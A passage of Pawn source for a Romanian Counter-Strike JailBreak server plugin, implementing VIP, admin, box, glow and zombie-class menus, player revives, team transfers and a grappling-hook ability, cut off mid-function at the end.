public cmd_vipmenu(id)
{
if(get_user_team(id) == 0) return PLUGIN_HANDLED;
new szText[ 555 char ];
formatex( szText, charsmax( szText ), "Meniu VIP \yJb.LeagueCS.Ro");
new vip_menu = menu_create( szText, "vipmenuT_handler2" );
if(get_user_flags(id) & read_flags("x"))
{
formatex( szText, charsmax( szText ), "Cutit de gheata \d[Ingheata inamicul]" );
menu_additem( vip_menu, szText, "1", 0 );
formatex( szText, charsmax( szText ), "Baros de spart capuri \d[Arunca inamicul]" );
menu_additem( vip_menu, szText, "2", 0 );
formatex( szText, charsmax( szText ), "Cutit de ninja \d[DMG Mare]" );
menu_additem( vip_menu, szText, "3", 0 );
if(blockrevive[id]<=0)
{
formatex( szText, charsmax( szText ), "Revive \d[Primesti Revive]" );
menu_additem( vip_menu, szText, "4", 0 );
}
if(!blockmedkit[id])
{
formatex( szText, charsmax( szText ), "MedKit \d[HP+Armura]" );
menu_additem( vip_menu, szText, "5", 0 );
}
if(blockviteza[id]<=0)
{
formatex( szText, charsmax( szText ), "Viteza \d[Viteza mai mare]" );
menu_additem( vip_menu, szText, "6", 0 );
}
if(blockgravity[id]<=0)
{
formatex( szText, charsmax( szText ), "Gravity \d[Gravitatie mai mica]" );
menu_additem( vip_menu, szText, "7", 0 );
}
} else {
formatex( szText, charsmax( szText ), "Cutit de gheata \d[Ingheata inamicul]" );
menu_additem( vip_menu, szText, "1", ADMIN_ADMIN );
formatex( szText, charsmax( szText ), "Baros de spart capuri \d[Arunca inamicul]" );
menu_additem( vip_menu, szText, "2", ADMIN_ADMIN );
formatex( szText, charsmax( szText ), "Cutit de ninja \d[DMG Mare]" );
menu_additem( vip_menu, szText, "3", ADMIN_ADMIN );
if(blockrevive[id]<=0)
{
formatex( szText, charsmax( szText ), "Revive \d[Primesti Revive]" );
menu_additem( vip_menu, szText, "4", ADMIN_ADMIN );
}
if(!blockmedkit[id])
{
formatex( szText, charsmax( szText ), "MedKit \d[HP+Armura]" );
menu_additem( vip_menu, szText, "5", ADMIN_ADMIN );
}
if(blockviteza[id]<=0)
{
formatex( szText, charsmax( szText ), "Viteza \d[Viteza mai mare]" );
menu_additem( vip_menu, szText, "6", ADMIN_ADMIN );
}
if(blockgravity[id]<=0)
{
formatex( szText, charsmax( szText ), "Gravity \d[Gravitatie mai mica]" );
menu_additem( vip_menu, szText, "7", ADMIN_ADMIN );
}
}
menu_display( id, vip_menu, 0)
return PLUGIN_HANDLED;
}
public vipmenuT_handler2( id, menu, item )
{
if( item == MENU_EXIT )
{
menu_destroy( menu );
return PLUGIN_HANDLED;
}
if(g_GameMode || g_PlayerLast || get_user_team(id) == 0 || g_BoxStarted || IsEventActivated || g_GunDayFortat)
{
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tMENIUL V.I.P!")
return PLUGIN_HANDLED
}
new data[ 6 ], iName[ 64 ], access, callback;
menu_item_getinfo( menu, item, access, data, charsmax( data ), iName, charsmax( iName ), callback );
new key = str_to_num( data );
switch( key )
{
case 1:
{
if(is_user_alive(id))
{
engclient_cmd(id, "weapon_knife")
u_knife[id] = 1
set_pev(id, pev_viewmodel2, "models/jb_models/VipModels/v_stik.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/VipModels/p_stik.mdl")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tACEST MENIU !ydeoarece esti MORT !")
}
case 2:
{
if(is_user_alive(id))
{
engclient_cmd(id, "weapon_knife")
u_knife[id] = 3
set_pev(id, pev_viewmodel2, "models/jb_models/VipModels/v_hammer.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/VipModels/p_hammer.mdl")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tACEST MENIU !ydeoarece esti MORT !")
}
case 3:
{
if(is_user_alive(id))
{
engclient_cmd(id, "weapon_knife")
u_knife[id] = 4
set_pev(id, pev_viewmodel2, "models/jb_models/VipModels/v_knifevip.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/VipModels/p_knifevip.mdl")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tACEST MENIU !ydeoarece esti MORT !")
}
case 4:
{
if(g_RoundEnd)
{
chatcolor(id, "!y[!gNotBug!y] Tzeaca fraiere!")
return PLUGIN_HANDLED
}
if(!is_user_alive(id))
{
ExecuteHamB(Ham_CS_RoundRespawn, id)
blockrevive[id] = 4
g_PlayerRevived[id] = 1;
chatcolor(id, "!g[V.I.P] !yAi ales !tREVIVE !")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti !tREINVIA !y - deoarece esti deja VIU !")
}
case 5:
{
if(is_user_alive(id))
{
set_user_health(id, 150)
set_user_armor(id, 70)
blockmedkit[id] = true
chatcolor(id, "!g[V.I.P] !yAi ales !tMedKit.")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti accesa !gMedKit !ydeoarece esti MORT !")
}
case 6:
{
if(is_user_alive(id)) {
set_pev(id, pev_maxspeed, 444.0)
blockviteza[id] = 4
g_Speed[id] = 1
chatcolor(id, "!g[V.I.P] !yAi ales !tSpeed.")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tACEST MENIU !ydeoarece esti MORT !")
}
case 7:
{
if(is_user_alive(id)) {
set_user_gravity(id, 0.4)
g_Gravity[id] = true
blockgravity[id] = 4
chatcolor(id, "!g[V.I.P] !yAi ales !tGravitatie.")
}
else
chatcolor(id, "!g[V.I.P] !yNu poti accesa !tACEST MENIU !ydeoarece esti MORT !")
}
}
return PLUGIN_HANDLED;
}
public cmd_adminmenus(id)
{
if(get_user_flags(id) & read_flags("c"))
{
new simon_menu = menu_create("Meniu Admini", "ctmenu_choice");
menu_additem(simon_menu, "Pune Simon pe cineva", "1", 0);
if(get_user_flags(id) & read_flags("o"))
{
menu_additem(simon_menu, "Meniu Revive T", "2", 0);
} else {
menu_additem(simon_menu, "Meniu Revive T", "2", ADMIN_ADMIN);
}
if(get_user_flags(id) & read_flags("o"))
{
menu_additem(simon_menu, "Meniu Revive CT", "3", 0);
} else {
menu_additem(simon_menu, "Meniu Revive CT", "3", ADMIN_ADMIN);
}
menu_additem(simon_menu, "Meniu Ban CT", "4", 0);
menu_additem(simon_menu, "Muta un Gardian la T", "5", 0);
menu_additem(simon_menu, "Muta un Prizonier la CT", "6", 0);
if(get_user_flags(id) & read_flags("o"))
{
menu_additem(simon_menu, "Gun Day Fortat OFF", "7", 0);
menu_additem(simon_menu, "Gun Day Fortat ON", "8", 0);
}
else
{
menu_additem(simon_menu, "Gun Day Fortat OFF", "7", ADMIN_ADMIN);
menu_additem(simon_menu, "Gun Day Fortat ON", "8", ADMIN_ADMIN);
}
menu_display(id, simon_menu, 0);
menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
}
else
client_print(id, print_chat, "*** Nu esti ADMIN deci nu poti accesa ADMIN MENU ***");
return PLUGIN_HANDLED;
}
public ctmenu_choice(id, simon_menu, item)
{
if( item == MENU_EXIT )
{
menu_destroy(simon_menu);
return PLUGIN_HANDLED;
}
new data[6], iName[64], name[32];
new access, callback;
get_user_name(g_Simon, name, charsmax(name))
menu_item_getinfo(simon_menu, item, access, data,5, iName, 63, callback);
new key = str_to_num(data);
switch(key)
{
case 1: cmd_ctmenu(id)
case 2: cmd_simonrevive(id)
case 3: cmd_simonrevivect(id)
case 4: chatcolor(id, "!y[!gAdminMenu!y] Comanda a fost scoasa din meniu ca se dadea direct permanent, foloseste jb_banct nume secunde")
case 5: cmd_mutatero(id)
case 6: cmd_mutaCT(id)
case 7:
{
g_IsForcedOffline = 1;
chatcolor(id, "!y[AdminMenu] Ai dezactivat cu succes gunday-ul fortat.")
}
case 8:
{
g_IsForcedOffline = 0;
chatcolor(id, "!y[AdminMenu] Ai activat cu succes gunday-ul fortat.")
}
}
menu_destroy(simon_menu);
return PLUGIN_HANDLED;
}
public cmd_mutatero(id)
{
if(g_Simon == id || get_user_flags(id) & read_flags("c"))
menu_amenu(id, CS_TEAM_CT, "mutalateroct", "Team Menu")
return PLUGIN_CONTINUE
}
public mutalateroct(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, player
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
new name[32], name2[32]
get_user_name(id, name, 31)
get_user_name(player, name2, 31)
if(player > 0 && is_user_connected(player))
{
user_kill(player);
cs_set_user_team(player, 1);
menu_cancel(player);
chatcolor(0, "!g[AdminMenu] !yAdmin !g%s !yl-a mutat pe !g%s la Prizonieri.", name, name2)
log_to_file("AdminMenuLog.log"," %s la mutat la tero %s", name, name2)
}
cmd_adminmenus(id)
return PLUGIN_HANDLED
}
public cmd_mutaCT(id)
{
if(g_Simon == id || get_user_flags(id) & read_flags("c"))
menu_amenu(id, CS_TEAM_T, "mutalateroct2", "Team Menu")
return PLUGIN_CONTINUE
}
public mutalateroct2(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, player
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
new name[32], name2[32]
get_user_name(id, name, 31)
get_user_name(player, name2, 31)
if(player > 0 && is_user_connected(player))
{
user_kill(player);
cs_set_user_team (player, 2);
menu_cancel(player);
chatcolor(0, "!g[AdminMenu] !yAdmin !g%s !yl-a mutat pe !g%s la Gardieni.", name, name2)
log_to_file("AdminMenuLog.log"," %s la mutat la ct pe %s", name, name2)
}
cmd_adminmenus(id)
return PLUGIN_HANDLED
}
public cmd_simonrevive(id)
{
if(g_Simon == id || get_user_flags(id) & read_flags("c"))
menu_revive(id, CS_TEAM_T, "revive", "Revive Menu")
return PLUGIN_CONTINUE
}
public revive(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, player
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
new name[32], name2[32]
get_user_name(id, name, 31)
get_user_name(player, name2, 31)
if(player > 0 && is_user_connected(player))
{
ExecuteHamB(Ham_CS_RoundRespawn, player)
strip_user_weapons(player)
give_item(player, "weapon_knife")
if(g_Simon == id)
{
chatcolor(0, "!g[SimonMenu] !ySimon !g%s !yi-a dat !grevive !tPrizonierului !g%s", name, name2)
} else {
chatcolor(0, "!g[Admin Menu] !yAdmin !g%s !yi-a dat !grevive !tPrizonierului !g%s", name, name2)
}
log_to_file("SimonMenuLogs.log"," %s ia dat revive lui %s", name, name2)
}
cmd_simonrevive(id)
return PLUGIN_HANDLED
}
public cmd_simonrevivect(id)
{
if(g_Simon == id || get_user_flags(id) & read_flags("c"))
menu_revive(id, CS_TEAM_CT, "revivect", "Revive Menu")
return PLUGIN_CONTINUE
}
public revivect(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, player
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
new name[32], name2[32]
get_user_name(id, name, 31)
get_user_name(player, name2, 31)
if(player > 0 && is_user_connected(player) && !is_user_alive(player))
{
ExecuteHamB(Ham_CS_RoundRespawn, player)
strip_user_weapons(player)
give_item(player, "weapon_knife")
chatcolor(0, "!g[Admin Menu] !yAdmin !g%s !yi-a dat !grevive !tGardianului !g%s", name, name2)
log_to_file("SimonMenuLogs.log"," %s ia dat revive lui %s", name, name2)
}
cmd_simonrevivect(id)
return PLUGIN_HANDLED
}
public cmd_simonreset(id)
{
if((g_Simon == id) || get_user_flags(id) & read_flags ("a"))
menu_players(id, CS_TEAM_CT, id, 1, "cmd_simon_ct", "\rCine vrei sa fie SIMON in loc ?")
return PLUGIN_CONTINUE
}
public cmd_simon_ct(id, menu, item)
{
if(item == MENU_EXIT || (g_Simon != id))
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32],src[32], data[5], player, access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
if (g_Simon == player)
return PLUGIN_CONTINUE
g_Simon = 0
cmd_simon(player)
get_user_name(player, dst, charsmax(dst))
get_user_name(id, src, charsmax(src))
set_hudmessage(0, 104, 139, -1.0, -0.35, 0, 6.0, 10.0)
show_hudmessage(0, "%s a predat grad-ul de SIMON lui %s", src, dst)
cs_set_player_model(player, "jblgcs")
set_pev(player, pev_body, 1)
cs_set_player_model(id, "jblgcs")
set_pev(id, pev_body, 3)
return PLUGIN_HANDLED
}
public cmd_ctmenu(id)
{
if(get_user_flags(id) & read_flags ("c"))
menu_players(id, CS_TEAM_CT, id, 1, "cmd_simon_cttt", "\wCine vrei sa fie SIMON ?")
return PLUGIN_CONTINUE
}
public cmd_simon_cttt(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32],src[32], data[5], player, access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
player = str_to_num(data)
if (g_Simon == player)
return PLUGIN_CONTINUE
g_Simon = 0
cmd_simon(player)
get_user_name(player, dst, charsmax(dst))
get_user_name(id, src, charsmax(src))
set_hudmessage(0, 104, 139, -1.0, -0.35, 0, 6.0, 5.0)
show_hudmessage(0, "Admin: %s la bagat simon pe %s", src, dst)
log_to_file("AdminMenuLog.log"," %s la pus simon pe %s", src, dst)
cs_set_player_model(player, "jbindvip0S")
set_pev(player, pev_body, 1)
return PLUGIN_HANDLED
}
public cmd_boxmenu(id)
{
if(cs_get_user_team(id) == CS_TEAM_CT)
{
new szText[ 555 char ];
formatex( szText, charsmax( szText ), "JailBreak Romania v5.0 ^nMeniu BOX");
new menu = menu_create( szText, "box_handler" );
formatex( szText, charsmax( szText ), "Porneste BOX-ul" );
menu_additem( menu, szText, "1", 0 );
formatex( szText, charsmax( szText ), "Opreste BOX-ul" );
menu_additem( menu, szText, "2", 0 );
menu_display( id, menu, 0)
}
else {
chatcolor(id, "!g[BoxMenu]!y Nu poti accesa meniul de box deoarece nu esti la Gardieni.")
}
return PLUGIN_HANDLED
}
public box_handler( id, menu, item )
{
if( item == MENU_EXIT )
{
menu_destroy( menu )
return PLUGIN_HANDLED
}
new data[6], iName[64]
new access, callback
menu_item_getinfo( menu, item, access, data,5, iName, 63, callback )
new key = str_to_num( data )
switch( key )
{
case 1:
{
cmd_boxmenu(id)
cmd_box(id)
}
case 2:
{
cmd_boxoff(id)
cmd_boxmenu(id)
}
}
menu_destroy( menu )
return PLUGIN_HANDLED
}
public cmd_box(id)
{
if(g_PlayerLast || g_BoxStarted || g_GunDayFortat)
{
chatcolor(id, "!t[!gBox!t] !yNu poti face asta!")
return PLUGIN_HANDLED
}
new name[32]
get_user_name(id, name, 63)
static i
g_BoxStarted = 1
for(i = 1; i <= g_MaxClients; i++)
{
if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
{
set_user_health(i, 100)
}
}
chatcolor(0, "!y[!gBOX!y] %s a pornit !gBOX-ul!", name)
player_hudmessage(0, 1, 3.0, _, "BOX-ul a fost pornit de: %s", name)
client_cmd(0, "mp3 play sound/jb_sounds/boxezw.mp3")
set_cvar_num("mp_tkpunish", 0)
set_cvar_num("mp_friendlyfire", 1)
return PLUGIN_HANDLED
}
public cmd_boxoff(id)
{
if(g_PlayerLast || !g_BoxStarted || g_GunDayFortat)
{
chatcolor(id, "!t[!gBox!t] !yNu poti face asta!")
return PLUGIN_HANDLED
}
static i
if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT || get_user_flags(id) & read_flags("b"))
{
for(i = 1; i <= g_MaxClients; i++)
if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
{
set_user_health(i, 100)
set_user_godmode(i, false)
set_pev(i, pev_viewmodel2, "models/jb_models/v_pumni7.mdl")
set_pev(i, pev_weaponmodel2, "models/jb_models/p_pumni7.mdl")
}
set_cvar_num("mp_tkpunish", 0)
set_cvar_num("mp_friendlyfire", 0)
g_BoxStarted = 0
client_cmd(0, "mp3 stop")
new name[32]
get_user_name(id, name, 63)
chatcolor(0, "%L",0,"BOX_STOP", name)
player_hudmessage(0, 1, 3.0, _, "BOX-ul a fost oprit de: %s", name)
}
return PLUGIN_HANDLED
}
public cmd_glowmenu(id)
{
if(is_user_alive(id) && is_user_connected(id) && !g_GameMode || g_GameMode == 9)
{
new simon_menu = menu_create("Meniu Glow JailBreak", "GlowMenuChoice");
new menuBody[1024];
new key;
format(menuBody, 1023, "Glow Menu^n^n 1. Red^n 2. Orange^n 3. Yellow^n 4. Green^n 5. Light Blue^n 6. Blue^n 7. Purple^n 8. White^n^n 9. Glow OFF^n^n 0. Exit.")
key = (1<<0)|(1<<1)|(1<<2)|(1<<3)|(1<<4)|(1<<5)|(1<<6)|(1<<7)|(1<<8)|(1<<9)
show_menu(id, key, menuBody)
menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, simon_menu, 0);
}
else
chatcolor(id, "!y[!gGlow Menu!y] Nu poti accesa meniul de Glow acum!")
return PLUGIN_HANDLED;
}
public GlowMenuChoice(id, key)
{
new client[32];
get_user_name(id, client, 31);
switch(key)
{
case 0:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow red.", client);
set_user_rendering(id,kRenderFxGlowShell,255,0,0,kRenderNormal,25)
}
case 1:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow orange.", client);
set_user_rendering(id,kRenderFxGlowShell,255,140,0,kRenderNormal,25)
}
case 2:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow yellow.", client);
set_user_rendering(id,kRenderFxGlowShell,255,255,0,kRenderNormal,25)
}
case 3:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow green.", client);
set_user_rendering(id,kRenderFxGlowShell,0,255,0,kRenderNormal,25)
}
case 4:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow lightblue.", client);
set_user_rendering(id,kRenderFxGlowShell,0,255,255,kRenderNormal,25)
}
case 5:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow blue.", client);
set_user_rendering(id,kRenderFxGlowShell,0,0,255,kRenderNormal,25)
}
case 6:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow purple.", client);
set_user_rendering(id,kRenderFxGlowShell,255,0,255,kRenderNormal,25)
}
case 7:
{
client_print(0, print_console, "Jucatorul %s si-a activat glow white.", client);
set_user_rendering(id,kRenderFxGlowShell,192,192,192,kRenderNormal,25)
}
case 8:
{
client_print(0, print_console, "Jucatorul %s si-a dezactivat glow.", client);
set_user_rendering(id,kRenderFxGlowShell,0,0,0,kRenderNormal,25)
}
case 9:
{
return PLUGIN_CONTINUE;
}
}
return PLUGIN_HANDLED;
}
stock chatcolor(const id, const input[], any:...)
{
new count = 1, players[32]
static msg[191]
vformat(msg, 190, input, 3)
replace_all(msg, 190, "!g", "^4")
replace_all(msg, 190, "!y", "^1")
replace_all(msg, 190, "!t", "^3")
if (id) players[0] = id; else get_players(players, count, "ch")
{
for (new i = 0; i < count; i++)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
write_byte(players[i]);
write_string(msg);
message_end();
}
}
}
}
stock in_array(needle, data[], size)
{
for(new i = 0; i < size; i++)
if(data[i] == needle)
return i
return -1
}
stock player_hudmessage(id, hudid, Float:time = 0.0, color[3] = {0, 255, 0}, msg[], any:...)
{
static text[512], Float:x, Float:y
x = g_HudSync[hudid][_x]
y = g_HudSync[hudid][_y]
if(time > 0)
set_hudmessage(color[0], color[1], color[2], x, y, 0, 0.00, time, 0.00, 0.00)
else
set_hudmessage(color[0], color[1], color[2], x, y, 0, 0.00, g_HudSync[hudid][_time], 0.00, 0.00)
vformat(text, charsmax(text), msg, 6)
ShowSyncHudMsg(id, g_HudSync[hudid][_hudsync], text)
}
stock menu_players(id, CsTeams:team, skip, alive, callback[], title[], any:...)
{
static i, name[32], num[5], menu, menuname[32]
vformat(menuname, charsmax(menuname), title, 7)
menu = menu_create(menuname, callback)
for(i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i) || (alive && !is_user_alive(i)) || (skip == i))
continue
if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
{
get_user_name(i, name, charsmax(name))
num_to_str(i, num, charsmax(num))
menu_additem(menu, name, num, 0)
}
}
menu_display(id, menu)
}
stock player_glow(id, color[3], amount=40)
if(is_user_connected(id) && is_user_alive(id)) set_user_rendering(id, kRenderFxGlowShell, color[0], color[1], color[2], kRenderNormal, amount)
stock player_strip_weapons(id)
{
strip_user_weapons(id)
give_item(id, "weapon_knife")
set_pdata_int(id, 116, 0)
}
stock freeday_set(id, player)
{
static src[32], dst[32]
get_user_name(player, dst, charsmax(dst))
if(is_user_alive(player) && is_user_connected(player) && !get_bit(g_PlayerWanted, player))
{
cs_set_player_model(player, "jblgcs")
set_pev(player, pev_body, 2)
set_pev(player, pev_skin, 3)
set_bit(g_PlayerFreeday, player)
if(0 < id <= g_MaxClients)
{
get_user_name(id, src, charsmax(src))
player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_GUARD_FREEDAYGIVE", src, dst)
}
else if(!is_freeday())
player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_PRISONER_HASFREEDAY", dst)
}
}
stock PlayerFreeze(i_Player, i_Freeze)
{
if(i_Freeze)
{
gi_IsFrozen[i_Player] = 1;
entity_set_int(i_Player, EV_INT_flags, entity_get_int(i_Player, EV_INT_flags) | FL_FROZEN);
if(cs_get_user_team(i_Player) == CS_TEAM_CT)
set_user_godmode(i_Player, 1);
}
else
{
gi_IsFrozen[i_Player] = 0;
entity_set_int(i_Player, EV_INT_flags, entity_get_int(i_Player, EV_INT_flags) & ~FL_FROZEN);
}
}
stock menu_revive(id, CsTeams:team, callback[], title[], any:...)
{
static i, name[32], num[5], menu, menuname[32]
formatex(menuname, charsmax(menuname), title)
menu = menu_create(menuname, callback)
for(i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i) || is_user_alive(i))
continue
if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
{
get_user_name(i, name, charsmax(name))
num_to_str(i, num, charsmax(num))
menu_additem(menu, name, num, 0)
}
}
menu_display(id, menu)
}
stock menu_amenu(id, CsTeams:team, callback[], title[], any:...)
{
static i, name[32], num[5], menu, menuname[32]
formatex(menuname, charsmax(menuname), title)
menu = menu_create(menuname, callback)
for(i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i))
continue
if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
{
get_user_name(i, name, charsmax(name))
num_to_str(i, num, charsmax(num))
menu_additem(menu, name, num, 0)
}
}
menu_display(id, menu)
}
stock have_freeday_menu(id, callback[], title[], any:...)
{
static i, name[32], num[5], menu, menuname[32]
formatex(menuname, charsmax(menuname), title)
menu = menu_create(menuname, callback)
for(i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i))
continue
if(get_user_team(i) == 1 && get_bit(g_PlayerFreeday, i))
{
get_user_name(i, name, charsmax(name))
num_to_str(i, num, charsmax(num))
menu_additem(menu, name, num, 0)
}
}
menu_display(id, menu)
}
stock is_freeday()
return (g_FreedayNext || g_Freeday)
public cmd_zombieclass(id)
{
new class_menuzm = menu_create("Meniu Clase Zombie", "class_choice2");
menu_additem(class_menuzm, "Walker Zombie [ Speed ]", "1", 0);
menu_additem(class_menuzm, "Air Zombie [ Gravity ]", "2", 0)
menu_additem(class_menuzm, "Super Zombie [ 3000 HP ]", "3", 0);
menu_setprop(class_menuzm, MPROP_EXIT, MEXIT_ALL);
menu_display(id, class_menuzm, 0);
return PLUGIN_HANDLED;
}
public class_choice2(id, class_menuzm, item)
{
if( item == MENU_EXIT || !is_user_alive(id) )
{
menu_destroy(class_menuzm);
return PLUGIN_HANDLED;
}
new data[6], iName[64], name[32];
new access, callback;
get_user_name(g_Simon, name, charsmax(name))
menu_item_getinfo(class_menuzm, item, access, data,5, iName, 63, callback);
g_ResetValues = 0;
new key = str_to_num(data);
switch(key)
{
case 1:
{
set_user_maxspeed(id, 445.0)
g_Speed[id] = 1
}
case 2: set_user_gravity(id, 0.3)
case 3: set_user_health(id, 3000)
}
menu_destroy(class_menuzm);
return PLUGIN_HANDLED;
}
public commandSpiderSwing( id )
{
if(g_GameMode == 13 || IsEventActivated && g_organizator[id])
{
set_user_gravity( id, 0.0 );
set_task( 0.1, "SwingThink", id + 12839162, _, _, "b" );
bHookToOrigin[ id ][ 0 ] = 999999;
SwingThink( id + 12839162 );
emit_sound( id, CHAN_VOICE, "weapons/cbar_miss1.wav", VOL_NORM, ATTN_NORM, 0, PITCH_NORM );
}
return PLUGIN_HANDLED;
}
public SwingThink( taskid )
{
new id = taskid - 12839162;
new iOrigin[ 3 ];
get_user_origin( id, iOrigin, 0 );
message_begin( MSG_PVS, SVC_TEMPENTITY, iOrigin );
write_byte( TE_BEAMENTPOINT );
write_short( id );
write_coord( bHookToOrigin[ id ][ 0 ] );
write_coord( bHookToOrigin[ id ][ 1 ] );
write_coord( bHookToOrigin[ id ][ 2 ] );
write_short(HookSpr);
write_byte( 1 );
write_byte( 1 );
write_byte( 2 );
write_byte( 5 );
write_byte( 0 );
write_byte( random( 256 ) );
write_byte( random( 256 ) );
write_byte( random( 256 ) );
write_byte( 123 );
write_byte( 0 );
message_end();
if( bHookToOrigin[ id ][ 0 ] == 999999 )
{
new iOriginAim[ 3 ];
get_user_origin( id, iOriginAim, 3 );
bHookToOrigin[ id ][ 0 ] = iOriginAim[ 0 ];
bHookToOrigin[ id ][ 1 ] = iOriginAim[ 1 ];
bHookToOrigin[ id ][ 2 ] = iOriginAim[ 2 ];
}
new Float:flVelocity[ 3 ];
flVelocity[ 0 ] = ( float( bHookToOrigin[ id ][ 0 ] ) - float( iOrigin[ 0 ] ) ) * 3.0;
flVelocity[ 1 ] = ( float( bHookToOrigin[ id ][ 1 ] ) - float( iOrigin[ 1 ] ) ) * 3.0;
flVelocity[ 2 ] = ( float( bHookToOrigin[ id ][ 2 ] ) - float( iOrigin[ 2 ] ) ) * 3.0;
new Float:flCoordY = flVelocity[ 0 ] * flVelocity[ 0 ] + flVelocity[ 1 ] * flVelocity[ 1 ] + flVelocity[ 2 ] * flVelocity[ 2 ];
new Float:flCoordX = ( 5.0 * 120.0 ) / floatsqroot( flCoordY );
flVelocity[ 0 ] *= flCoordX;
flVelocity[ 1 ] *= flCoordX;
flVelocity[ 2 ] *= flCoordX;
set_pev( id, pev_velocity, flVelocity );
}
public commandSpiderSwingOff( id )
{
if( is_user_alive( id ) )
{
set_user_gravity( id, 1.0 );
}
if( task_exists( id + 12839162 ) )
{
remove_task( id + 12839162 );
}
return PLUGIN_HANDLED;
}
public Message_ScoreInfo(iMsgId, iMsgType, iMsgEnt)
{
new id = get_msg_arg_int(PlayerID)
set_msg_arg_int(Frags, ARG_SHORT, get_user_health(id) )
set_msg_arg_int(Deaths, ARG_SHORT, get_user_armor(id) )
}
Send_ScoreInfo(id, iFrags, iDeaths, iTeamID)
{
if(iFrags > 69)
{
iFrags = 69
iDeaths = 69
}
message_begin(MSG_BROADCAST, get_user_msgid("ScoreInfo"))
write_byte(id)
write_short(is_user_alive(id) ? iFrags : 0)
write_short(is_user_alive(id) ? iDeaths : 0)
write_short(0)
write_short(iTeamID)
message_end()
}
public EventBattery(id)
Send_ScoreInfo(id, get_user_health(id), read_data(1), get_user_team(id) )
public EventHealth(id)
Send_ScoreInfo(id, read_data(1), get_user_armor(id), get_user_team(id) )
public slayteam(id,level,cid)
{
if(!cmd_access(id,level,cid,2))
return PLUGIN_HANDLED;
static cmd[32], players[32], totalplayers, admin[32];
read_argv(1,cmd, sizeof cmd -1)
get_players(players, totalplayers);
if(cmd[0]=='@')
{
for (new i = 0; i < totalplayers; i++)
{
if(equali(cmd[1],"All"))
{
user_silentkill(players[i]);
copy(sz_slayteam, sizeof sz_slayteam -1, "ALL");
g_GameMode = 0;
}
else
if(equali(cmd[1],"T") && get_user_team(players[i]) == 1)
{
user_silentkill(players[i])
copy(sz_slayteam, sizeof sz_slayteam -1, "Terrorists");
g_GameMode = 0;
}
else
if(equali(cmd[1],"CT") && get_user_team(players[i]) == 2)
{
user_silentkill(players[i])
copy(sz_slayteam, sizeof sz_slayteam -1, "Counter-Terrorists");
g_GameMode = 0;
}
}
}
get_user_name(id, admin, 31);
switch (get_cvar_num("amx_show_activity"))
{
case 2: chatcolor(0, "!y[!gAdminControl!y] Admin !g%s !ySlay !g%s", admin, sz_slayteam)
case 1: chatcolor(0, "!y[!gAdminControl!y] Admin Slay !g%s", sz_slayteam)
}
return PLUGIN_HANDLED;
}
public cmdct(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32], cmd[32];
read_argv(0,cmd,31);
read_argv(1,arg,31);
new player = cmd_target(id,arg,CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);
if (!player)
{
return PLUGIN_HANDLED;
}
if (cs_get_user_team(player) == CS_TEAM_CT)
{
console_print(id, "[Transfer-Player] Jucatorul este deja CT.");
return PLUGIN_HANDLED;
}
new name[32], name2[32];
get_user_name(id,name,31);
get_user_name(player,name2, 31);
